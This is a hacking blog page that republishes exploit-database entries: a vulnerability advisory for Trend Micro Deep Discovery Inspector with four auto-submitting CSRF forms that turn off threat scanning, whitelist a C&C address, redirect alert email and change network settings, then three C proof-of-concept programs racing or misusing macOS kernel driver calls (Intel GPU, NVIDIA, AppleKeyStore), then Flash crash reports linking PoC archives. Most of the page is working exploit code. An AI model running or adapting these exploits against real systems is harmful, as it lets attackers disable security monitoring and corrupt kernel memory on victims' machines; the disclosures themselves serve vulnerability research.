Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863123245

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/TRENDMICRO-DDI-CSRF.txt


Vendor:
====================
www.trendmicro.com


Product:
=========================================
Trend Micro Deep Discovery Inspector
V3.8, 3.7

Deep Discovery Inspector is a network appliance that gives you 360-degree
network monitoring of all traffic
to detect all aspects of a targeted attack.


Vulnerability Type:
================================
Cross Site Request Forgery - CSRF


CVE Reference:
==============
N/A


Vulnerability Details:
================================

Trend Micro Deep Discovery suffers from multiple CSRF vectors, if an
authenticated user visits an malicious webpage attackers will
have ability to modify many settings of the Deep Discovery application to
that of the attackers choosing.


Reference:
http://esupport.trendmicro.com/solution/en-US/1113708.aspx

Trend Micro DDI is affected by CSRF vulnerabilities. These affect the
following console features:

Deny List Notifications
Detection Rules
Threat Detections
Email Settings
Network
Blacklisting/Whitelisting
Time
Accounts
Power Off / Restart
DETAILS
The following DDI versions prior to version 3.8 Service Pack 2 (SP2) are
affected:

3.8 English
3.8 Japanese
3.7 English
3.7 Japanese
3.7 Simplified Chinese
Trend Micro has released DDI 3.8 SP2. All versions up to version 3.8 SP1
must upgrade to version 3.8 SP2 (Build 3.82.1133) to address this issue.


Exploit code(s):
===============


1) Shut down all threat scans and malicious file submissions under:
 Administration /Monitoring / Scanning / Threat Detections

<iframe id="demonica" name="demonica"></iframe>

<form id="CSRF-ThreatScans" target="demonica" action="
https://localhost/php/scan_options.php" method="post">
<input type="hidden" name="act" value="set" />
<input type="hidden" name="enable_all" value="0" />
<input type="hidden" name="enable_vsapi" value="1" />
<input type="hidden" name="enable_marsd" value="1" />
<input type="hidden" name="enable_ops" value="1" />
<input type="hidden" name="enable_block" value="0" />
<input type="hidden" name="enable_feedback" value="0" />
<input type="hidden" name="enable_send_suspicious_file" value="0" />
<script>document.getElementById('CSRF-ThreatScans').submit()</script>
</form>


2) Whitelist C&C server menu location:  Detections / C&C Callback Addresses

 <form id="CSRF-Whitelist" target="demonica" action="
https://localhost/php/blacklist_whitelist_query.php" method="post">
<input type="hidden" name="black_or_white" value="ccca" />
<input type="hidden" name="action" value="move_to_white_ccca" />
<input type="hidden" name="delete_list" value='"list":[{"name":"
http://bad.place.com/","list_type":"3"}]}"' />
<input type="hidden" name="comments" value="TEST" />
<script>document.getElementById('CSRF-Whitelist').submit()</script>
</form>


3) Turn off or change email notifications

<form id="CSRF-Notifications" target="demonica" action="
https://localhost/cgi-bin/mailSettings_set.cgi" method="post">
<input type="hidden" name="adm_email_address" value="punksnotdead@hell.com"
/>
<input type="hidden" name="sender_address" value="punksnotdead@hell.com" />
<input type="hidden" name="mail_server" value="x.x.x.x" />
<input type="hidden" name="mail_server_port" value="25" />
<input type="hidden" name="showusername" value="" />
<input type="hidden" name="showpassword" value="" />
<input type="hidden" name="max_notification_per_hour" value="5" />
<input type="hidden" name="check_mail_queue" value="60" />
<input type="hidden" name="server" value="x.x.x.x" />
<input type="hidden" name="port" value="25" />
<input type="hidden" name="admin_address" value="" />
<input type="hidden" name="from_address" value="PWNED@PWNED.com" />
<input type="hidden" name="username" value="" />
<input type="hidden" name="password" value="" />
<input type="hidden" name="freq_limit_interval" value="3600" />
<input type="hidden" name="freq_limit_softlimit" value="5" />
<input type="hidden" name="testconnect" value="config" />
<input type="hidden" name="which_cgi_flag" value="" />
<input type="hidden" name="alert_message" value="" />
<input type="hidden" name="save_status" value="false" />
<script>document.getElementById('CSRF-Notifications').submit()</script>
</form>

4) Change system settings ( x.x.x.x = whatever IP we want )

<form id='PWNED' target="demonica" action="
https://localhost/cgi-bin/admin_ip.cgi" method="post">
<input type="hidden" name="txtHostname" value="localhost" />
<input type="hidden" name="radioType" value="radiobutton" />
<input type="hidden" name="txtIP" value="x.x.x.x" />
<input type="hidden" name="txtNetmask" value="255.255.0.0" />
<input type="hidden" name="txtGateway" value="x.x.x.x" />
<input type="hidden" name="txtDNS1" value="x.x.x.x" />
<input type="hidden" name="txtDNS2" value="x.x.x.x" />
<input type="hidden" name="txtIP_ip6" value="" />
<input type="hidden" name="txtIP_ip6_prefix" value="" />
<input type="hidden" name="txtGateway_ip6" value="" />
<input type="hidden" name="txtDNS1_ip6" value="" />
<input type="hidden" name="td_start" value="Start" />
<input type="hidden" name="td_start" value="Start" />
<input type="hidden" name="td_analyze" value="View" />
<input type="hidden" name="td_export" value="Export" />
<input type="hidden" name="td_reset" value="Reset" />
<input type="hidden" name="button1112" value="Cancel" />
<input type="hidden" name="network_type" value="static" />
<input type="hidden" name="act" value="save" />
<input type="hidden" name="Hostname" value="localhost" />
<input type="hidden" name="IP" value="x.x.x.x" />
<input type="hidden" name="Netmask" value="255.255.0.0" />
<input type="hidden" name="Gateway" value="x.x.x.x" />
<input type="hidden" name="DNS1" value="x.x.x.x" />
<input type="hidden" name="DNS2" value="x.x.x.x" />
<input type="hidden" name="enable_ip6" value="no" />
<input type="hidden" name="network_type_ip6" value="static" />
<input type="hidden" name="IP_ip6" value="" />
<input type="hidden" name="IP_ip6_prefix" value="" />
<input type="hidden" name="Gateway_ip6" value="" />
<input type="hidden" name="DNS1_ip6" value="" />
<input type="hidden" name="port1_nic" value="eth0" />
<input type="hidden" name="port1_type" value="auto" />
<input type="hidden" name="port1_speed" value="" />
<input type="hidden" name="port1_duplex" value="" />
<input type="hidden" name="port1_attr" value="MGMT" />
<input type="hidden" name="port1_cap"
value="auto%3A10H%3A10F%3A100H%3A100F%3A1000F" />
<input type="hidden" name="port1_state" value="1000" />
<input type="hidden" name="port2_nic" value="eth1" />
<input type="hidden" name="port2_type" value="auto" />
<input type="hidden" name="port2_speed" value="" />
<input type="hidden" name="port2_duplex" value="" />
<input type="hidden" name="port2_attr" value="INT" />
<input type="hidden" name="port2_cap"
value="auto%3A10H%3A10F%3A100H%3A100F%3A1000F" />
<input type="hidden" name="port2_state" value="1000" />
<input type="hidden" name="port3_nic" value="eth2" />
<input type="hidden" name="port3_type" value="auto" />
<input type="hidden" name="port3_speed" value="" />
<input type="hidden" name="port3_duplex" value="" />
<input type="hidden" name="port3_attr" value="INT" />
<input type="hidden" name="port3_cap"
value="auto%3A10H%3A10F%3A100H%3A100F%3A1000F" />
<input type="hidden" name="port3_state" value="1000" />
<input type="hidden" name="port4_nic" value="eth3" />
<input type="hidden" name="port4_type" value="auto" />
<input type="hidden" name="port4_speed" value="" />
<input type="hidden" name="port4_duplex" value="" />
<input type="hidden" name="port4_attr" value="INT" />
<input type="hidden" name="port4_cap"
value="auto%3A10H%3A10F%3A100H%3A100F%3A1000F" />
<input type="hidden" name="port4_state" value="-1" />
<input type="hidden" name="port5_nic" value="eth4" />
<input type="hidden" name="port5_type" value="auto" />
<input type="hidden" name="port5_speed" value="" />
<input type="hidden" name="port5_duplex" value="" />
<input type="hidden" name="port5_attr" value="INT" />
<input type="hidden" name="port5_cap"
value="auto%3A10H%3A10F%3A100H%3A100F%3A1000F" />
<input type="hidden" name="port5_state" value="-1" />
<input type="hidden" name="port6_nic" value="eth5" />
<input type="hidden" name="port6_type" value="auto" />
<input type="hidden" name="port6_speed" value="" />
<input type="hidden" name="port6_duplex" value="" />
<input type="hidden" name="port6_attr" value="INT" />
<input type="hidden" name="port6_cap"
value="auto%3A10H%3A10F%3A100H%3A100F%3A1000F" />
<input type="hidden" name="port6_state" value="-1" />
<input type="hidden" name="port7_nic" value="eth6" />
<input type="hidden" name="port7_type" value="manual" />
<input type="hidden" name="port7_speed" value="10000" />
<input type="hidden" name="port7_duplex" value="full" />
<input type="hidden" name="port7_attr" value="INT" />
<input type="hidden" name="port7_cap" value="10000F" />
<input type="hidden" name="port7_state" value="-1" />
<input type="hidden" name="port8_nic" value="eth7" />
<input type="hidden" name="port8_type" value="manual" />
<input type="hidden" name="port8_speed" value="10000" />
<input type="hidden" name="port8_duplex" value="full" />
<input type="hidden" name="port8_attr" value="INT" />
<input type="hidden" name="port8_cap" value="10000F" />
<input type="hidden" name="port8_state" value="-1" />
<input type="hidden" name="port9_nic" value="ext3" />
<input type="hidden" name="port9_type" value="auto" />
<input type="hidden" name="port9_speed" value="" />
<input type="hidden" name="port9_duplex" value="" />
<input type="hidden" name="port9_attr" value="N%2FA" />
<input type="hidden" name="port9_cap" value="" />
<input type="hidden" name="port9_state" value="" />
<input type="hidden" name="port10_nic" value="ext4" />
<input type="hidden" name="port10_type" value="auto" />
<input type="hidden" name="port10_speed" value="" />
<input type="hidden" name="port10_duplex" value="" />
<input type="hidden" name="port10_attr" value="N%2FA" />
<input type="hidden" name="port10_cap" value="" />
<input type="hidden" name="port10_state" value="" />
<input type="hidden" name="port11_nic" value="ext5" />
<input type="hidden" name="port11_type" value="auto" />
<input type="hidden" name="port11_speed" value="" />
<input type="hidden" name="port11_duplex" value="" />
<input type="hidden" name="port11_attr" value="N%2FA" />
<input type="hidden" name="port11_cap" value="" />
<input type="hidden" name="port11_state" value="" />
<input type="hidden" name="port12_nic" value="ext6" />
<input type="hidden" name="port12_type" value="auto" />
<input type="hidden" name="port12_speed" value="" />
<input type="hidden" name="port12_duplex" value="" />
<input type="hidden" name="port12_attr" value="N%2FA" />
<input type="hidden" name="port12_cap" value="" />
<input type="hidden" name="port12_state" value="" />
<input type="hidden" name="port13_nic" value="ext7" />
<input type="hidden" name="port13_type" value="auto" />
<input type="hidden" name="port13_speed" value="" />
<input type="hidden" name="port13_duplex" value="" />
<input type="hidden" name="port13_attr" value="N%2FA" />
<input type="hidden" name="port13_cap" value="" />
<input type="hidden" name="port13_state" value="" />
<input type="hidden" name="port14_nic" value="ext8" />
<input type="hidden" name="port14_type" value="auto" />
<input type="hidden" name="port14_speed" value="" />
<input type="hidden" name="port14_duplex" value="" />
<input type="hidden" name="port14_attr" value="N%2FA" />
<input type="hidden" name="port14_cap" value="" />
<input type="hidden" name="port14_state" value="" />
<input type="hidden" name="port15_nic" value="ext9" />
<input type="hidden" name="port15_type" value="auto" />
<input type="hidden" name="port15_speed" value="" />
<input type="hidden" name="port15_duplex" value="" />
<input type="hidden" name="port15_attr" value="N%2FA" />
<input type="hidden" name="port15_cap" value="" />
<input type="hidden" name="port15_state" value="" />
<input type="hidden" name="port16_nic" value="ext10" />
<input type="hidden" name="port16_type" value="auto" />
<input type="hidden" name="port16_speed" value="" />
<input type="hidden" name="port16_duplex" value="" />
<input type="hidden" name="port16_attr" value="N%2FA" />
<input type="hidden" name="port16_cap" value="" />
<input type="hidden" name="port16_state" value="" />
<input type="hidden" name="port17_nic" value="ext11" />
<input type="hidden" name="port17_type" value="auto" />
<input type="hidden" name="port17_speed" value="" />
<input type="hidden" name="port17_duplex" value="" />
<input type="hidden" name="port17_attr" value="N%2FA" />
<input type="hidden" name="port17_cap" value="" />
<input type="hidden" name="port17_state" value="" />
<input type="hidden" name="port18_nic" value="ext12" />
<input type="hidden" name="port18_type" value="auto" />
<input type="hidden" name="port18_speed" value="" />
<input type="hidden" name="port18_duplex" value="" />
<input type="hidden" name="port18_attr" value="N%2FA" />
<input type="hidden" name="port18_cap" value="" />
<input type="hidden" name="port18_state" value="" />
<input type="hidden" name="port19_nic" value="ext13" />
<input type="hidden" name="port19_type" value="auto" />
<input type="hidden" name="port19_speed" value="" />
<input type="hidden" name="port19_duplex" value="" />
<input type="hidden" name="port19_attr" value="N%2FA" />
<input type="hidden" name="port19_cap" value="" />
<input type="hidden" name="port19_state" value="" />
<input type="hidden" name="port20_nic" value="ext14" />
<input type="hidden" name="port20_type" value="auto" />
<input type="hidden" name="port20_speed" value="" />
<input type="hidden" name="port20_duplex" value="" />
<input type="hidden" name="port20_attr" value="N%2FA" />
<input type="hidden" name="port20_cap" value="" />
<input type="hidden" name="port20_state" value="" />
<input type="hidden" name="tcpdump" value="" />
<input type="hidden" name="interface" value="" />
<input type="hidden" name="vlan_enable" value="0" />
<script>document.getElementById('PWNED').submit()</script>
</form>


Disclosure Timeline:
=======================================
Vendor Notification:  November 23, 2015
March 25, 2016 : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level:
================
High


Description:
========================================================================

Request Method(s):        [+] POST


Vulnerable Product:       [+] Trend Micro Deep Discovery Inspector V3.8


========================================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=708

The external methods IGAccelGLContext::unmap_user_memory and IGAccelCLContext::unmap_user_memory take
an 8 byte struct input which is a user-space pointer previously passed to the equivilent map_user_memory
method.

The Context objects have inline IGHashTable members which store a mapping between those user pointers
and the IGAccelMemoryMap object pointers to which they refer in the kernel. The unmap_user_memory method
calls in order:
  ::contains
  ::get
  ::remove
on the hashmap *before* taking the context's IOLock. This means we can race two threads and by passing them both a valid
mapped user pointer they will both look up the same value in the hash map and return it.

The first exploitable bug is that none of these methods are thread safe; it's quite possible for two threads to be in the
::remove method at the same time and call IOFree on the hash bucket list entry resulting in a double free.

The second bug is that after the call to ::remove although a lock is taken on the Context by this point it's too late; both threads have a pointer to
the same IGAccelMemoryMap which only has one reference. The first thread will call ::release which will free the object, then
the thread will drop the lock, the second thread will acquire it and then use the free'd object before calling ::release again.

This user client code is reachable from many sandboxes including the safari renderer and the chrome gpu process.
*/

//ianbeer

// build: clang -o ig_gl_unmap_racer ig_gl_unmap_racer.c -framework IOKit -lpthread
// repro: while true; do ./ig_gl_unmap_racer; done
//        (try something like this in your boot-args for a nice panic log: gzalloc_min=0x80 gzalloc_max=0x120 -zc -zp)

/*
Use after free and double delete due to incorrect locking in Intel GPU Driver

The external methods IGAccelGLContext::unmap_user_memory and IGAccelCLContext::unmap_user_memory take
an 8 byte struct input which is a user-space pointer previously passed to the equivilent map_user_memory
method.

The Context objects have inline IGHashTable members which store a mapping between those user pointers
and the IGAccelMemoryMap object pointers to which they refer in the kernel. The unmap_user_memory method
calls in order:
  ::contains
  ::get
  ::remove
on the hashmap *before* taking the context's IOLock. This means we can race two threads and by passing them both a valid
mapped user pointer they will both look up the same value in the hash map and return it.

The first exploitable bug is that none of these methods are thread safe; it's quite possible for two threads to be in the
::remove method at the same time and call IOFree on the hash bucket list entry resulting in a double free.

The second bug is that after the call to ::remove although a lock is taken on the Context by this point it's too late; both threads have a pointer to
the same IGAccelMemoryMap which only has one reference. The first thread will call ::release which will free the object, then
the thread will drop the lock, the second thread will acquire it and then use the free'd object before calling ::release again.

This user client code is reachable from many sandboxes including the safari renderer and the chrome gpu process.
*/

#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>

#include <mach/mach.h>
#include <mach/vm_map.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <IOKit/IOKitLib.h>


struct mem_desc {
  uint64_t ptr;
  uint64_t size;
};

uint64_t map_user_memory(mach_port_t conn) {
  kern_return_t err;
  void* mem = malloc(0x20000);
  // make sure that the address we pass is page-aligned:
  mem = (void*) ((((uint64_t)mem)+0x1000)&~0xfff);
  printf("trying to map user pointer: %p\n", mem);
  
  uint64_t inputScalar[16] = {0};  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096] = {0};
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16] = {0};
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096] = {0};
  size_t outputStructCnt = 0;

  inputScalarCnt = 0;
  inputStructCnt = 0x10;

  outputScalarCnt = 4096;
  outputStructCnt = 16;

  struct mem_desc* md = (struct mem_desc*)inputStruct;
  md->ptr = (uint64_t)mem;
  md->size = 0x1000;

  err = IOConnectCallMethod(
   conn,
   0x200, // IGAccelGLContext::map_user_memory
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
   //return 0;
  } else{
    printf("worked? outputScalarCnt = %d\n", outputScalarCnt);
  }
    
  printf("outputScalarCnt = %d\n", outputScalarCnt);

  md = (struct mem_desc*)outputStruct;
  printf("0x%llx :: 0x%llx\n", md->ptr, md->size);

  return (uint64_t)mem;
}

uint64_t unmap_user_memory(mach_port_t conn, uint64_t handle) {
  kern_return_t err;
  
  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;

  inputScalarCnt = 0;
  inputStructCnt = 0x8;

  outputScalarCnt = 4096;
  outputStructCnt = 16;

  *((uint64_t*)inputStruct) = handle;

  err = IOConnectCallMethod(
   conn,
   0x201, // IGAccelGLContext::unmap_user_memory
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
  } else{
    printf("worked?\n");
  }
  
  return 0;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);
  // should be intel integrated graphics (only tested on MBA)  

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

mach_port_t gl_context = MACH_PORT_NULL;
uint64_t handle = 0;


OSSpinLock lock = OS_SPINLOCK_INIT;

void go(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  //usleep(1);

  unmap_user_memory(gl_context, handle);
  printf("called unmap from thread\n");
}





int main(int argc, char** argv){
  // get an IGAccelGLContext
  gl_context = get_user_client("IOAccelerator", 1);

  // get a IGAccelSharedUserClient
  mach_port_t shared = get_user_client("IOAccelerator", 6);

  // connect the gl_context to the shared UC so we can actually use it:
  kern_return_t err = IOConnectAddClient(gl_context, shared);
  if (err != KERN_SUCCESS){
   printf("IOConnectAddClient error: %x\n", err);
   return 0;
  }

  printf("added client to the shared UC\n");

  handle = map_user_memory(gl_context);

  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, (void*) go, NULL);

  usleep(100000);

  OSSpinLockUnlock(&lock);

  unmap_user_memory(gl_context, handle);
  printf("called unmap from main process thread\n");
  pthread_join(t, NULL);


  return 0;


}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=709

nvDevice::ReleaseDeviceTexture is external method 0x10a of userclient 5 of the geforce IOAccelerator.
It takes a single uint argument

__text:000000000001BCD2                 mov     r14d, esi
  ...
__text:000000000001BD08                 and     r14d, 7FFFFFFFh   <-- clear upper bit
__text:000000000001BD0F                 mov     rax, [r15+168h]
__text:000000000001BD16                 mov     rdi, [rax+r14*8]  <-- use as array index
__text:000000000001BD1A                 test    rdi, rdi
__text:000000000001BD1D                 jz      short loc_1BD2C
__text:000000000001BD1F                 mov     rax, [rdi]          <-- read vtable
__text:000000000001BD22                 call    qword ptr [rax+28h] <-- call OSObject::release

This userclient is part of the nvidia geforce driver so it's only available on devices with that hardware (eg macbookpro.)

This code is reachable from most interesting sandboxes including the safari renderer and the chrome GPU process.
*/

//ianbeer

// build: clang -o nv_oob nv_oob.c -framework IOKit
// tested on MacBookPro 10,1  w/10.11.3 (15D21) - if you test on machine with a different graphics setup then make you open the correct user client :)

/*
OS X Kernel unchecked array index used to read object pointer then call virtual method in nvdia geforce driver

nvDevice::ReleaseDeviceTexture is external method 0x10a of userclient 5 of the geforce IOAccelerator.
It takes a single uint argument

__text:000000000001BCD2                 mov     r14d, esi
  ...
__text:000000000001BD08                 and     r14d, 7FFFFFFFh   <-- clear upper bit
__text:000000000001BD0F                 mov     rax, [r15+168h]
__text:000000000001BD16                 mov     rdi, [rax+r14*8]  <-- use as array index
__text:000000000001BD1A                 test    rdi, rdi
__text:000000000001BD1D                 jz      short loc_1BD2C
__text:000000000001BD1F                 mov     rax, [rdi]          <-- read vtable
__text:000000000001BD22                 call    qword ptr [rax+28h] <-- call OSObject::release

This userclient is part of the nvidia geforce driver so it's only available on devices with that hardware (eg macbookpro.)

This code is reachable from most interesting sandboxes including the safari renderer and the chrome GPU process.
*/

#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>

#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

uint64_t release_device_texture(mach_port_t conn) {
  kern_return_t err;
  
  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;

  inputScalarCnt = 1;
  inputStructCnt = 0;

  outputScalarCnt = 0;
  outputStructCnt = 0;

  inputScalar[0] = 0x0f0f0f0f;

  err = IOConnectCallMethod(
   conn,
   0x10a,
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
  } else{
    printf("worked?\n");
  }
  
  return 0;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}



int main(int argc, char** argv){
  mach_port_t gl_context = get_user_client("IOAccelerator", 5);
  release_device_texture(gl_context);
  return 0;

}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=710

The AppleKeyStore userclient uses an IOCommandGate to serialize access to its userclient methods, however
by racing two threads, one of which closes the userclient (which frees the IOCommandGate)
and one of which tries to make an external method call we can cause a use-after-free of the IOCommandGate.

Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
*/

//ianbeer

//build: clang -o applekeystore_race applekeystore_race.c -framework IOKit -lpthread
//repro: while true; do ./applekeystore_race; done
// try adding -zc -zp gzalloc_min=80 gzalloc_max=120 to your boot args to crash on the use after free

/*
OS X Kernel use-after-free in AppleKeyStore

The AppleKeyStore userclient uses an IOCommandGate to serialize access to its userclient methods, however
by racing two threads, one of which closes the userclient (which frees the IOCommandGate)
and one of which tries to make an external method call we can cause a use-after-free of the IOCommandGate.

Tested on OS X 10.11.3 El Capitan 15D21 on MacBookAir5,2
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 0;
  inputScalarCnt = 4;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 40960;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  make_iokit_call();
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

int main(int argc, char** argv){
  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);

  mach_port_t conn = get_user_client("AppleKeyStore", 0);
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);
  return 0;
}
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=716

The ActionScript parameter conversion in the fix for an issue in the December Flash bulletin (https://helpx.adobe.com/security/products/flash-player/apsb15-32.html, most likely one of the UaFs reported by Yuki Chen) can sometimes access a parameter on the native stack that is uninitialized.

If:

var o = {};
o.unwatch();

is called in ActionScript, a parameter array is allocated using alloca(0), which leads to a 16-byte (the minimum size length for alloca in the implementation) that does not get initialized. The conversion function in the UaF check then assumes that at least one parameter has been allocated, and attempts to convert the stack parameter to a string, even though it is a previous value (a UTF string "fffff ... " in the PoC).

A PoC is attached, it is a bit finicky but crashes in the most recent Chrome Flash update. To reproduce, load crasher2.swf?num=15, and then immediately loading crasher2.swf?num=4. The num parameter shifts the stack (for nums between 0 and 31), so changing it around should lead to crashes in different browsers.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39612.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=715

The ActionScript parameter conversion in the fix for issue 403 (https://code.google.com/p/google-security-research/issues/detail?id=403) can sometimes access a parameter on the native stack that is uninitialized.

If:

mc.swapDepths();

is called in ActionScript, a parameter array is allocated using alloca(0), which leads to a 16-byte (the minimum size length for alloca in the implementation) that does not get initialized. The conversion function in the UaF check then assumes that at least one parameter has been allocated, and attempts to convert the stack parameter to a string, even though it is a previous value (a UTF string "fffff ... " in the PoC).

A PoC is attached, it is a bit finicky and depends a lot on the specific Flash version. It crashes currently in chrome-unstable, by loading crasher2.swf?num=15, and then immediately loading crasher2.swf?num=4. The num parameter shifts the stack (for nums between 0 and 31), so changing it around should lead to crashes in different browsers.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39613.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=717

The ActionScript parameter conversion in the fix for an issue in the December Flash bulletin (https://helpx.adobe.com/security/products/flash-player/apsb15-32.html, most likely one of the UaFs reported by Yuki Chen) can sometimes access a parameter on the native stack that is uninitialized.

If:

var ab = {};
AsBroadcaster.initialize(ab)
ab.broadcastMessage();

is called in ActionScript, a parameter array is allocated using alloca(0), which leads to a 16-byte (the minimum size length for alloca in the implementation) that does not get initialized. The conversion function in the UaF check then assumes that at least one parameter has been allocated, and attempts to convert the stack parameter to a string, even though it is a previous value (a UTF string "fffff ... " in the PoC).

A PoC is attached, it is a bit finicky but crashes in the most recent Chrome Flash update. To reproduce, load crasher2.swf?num=15, and then immediately loading crasher2.swf?num=4. The num parameter shifts the stack (for nums between 0 and 31), so changing it around should lead to crashes in different browsers.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39611.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=718

There is a use-after-free in Sprite Creation. If a Sprite is created, and then the handler for the frameConstructed event triggers a remove object action, the Sprite is then used after it has been freed.

A sample swf is attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39610.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=720

There is a heap overflow in the Zlib codecs used when playing flv files in flash. Sample flv files are attached. Load http://127.0.0.1/LoadMP42.swf?file=smalloverflow.flv to reproduce.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39609.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=765

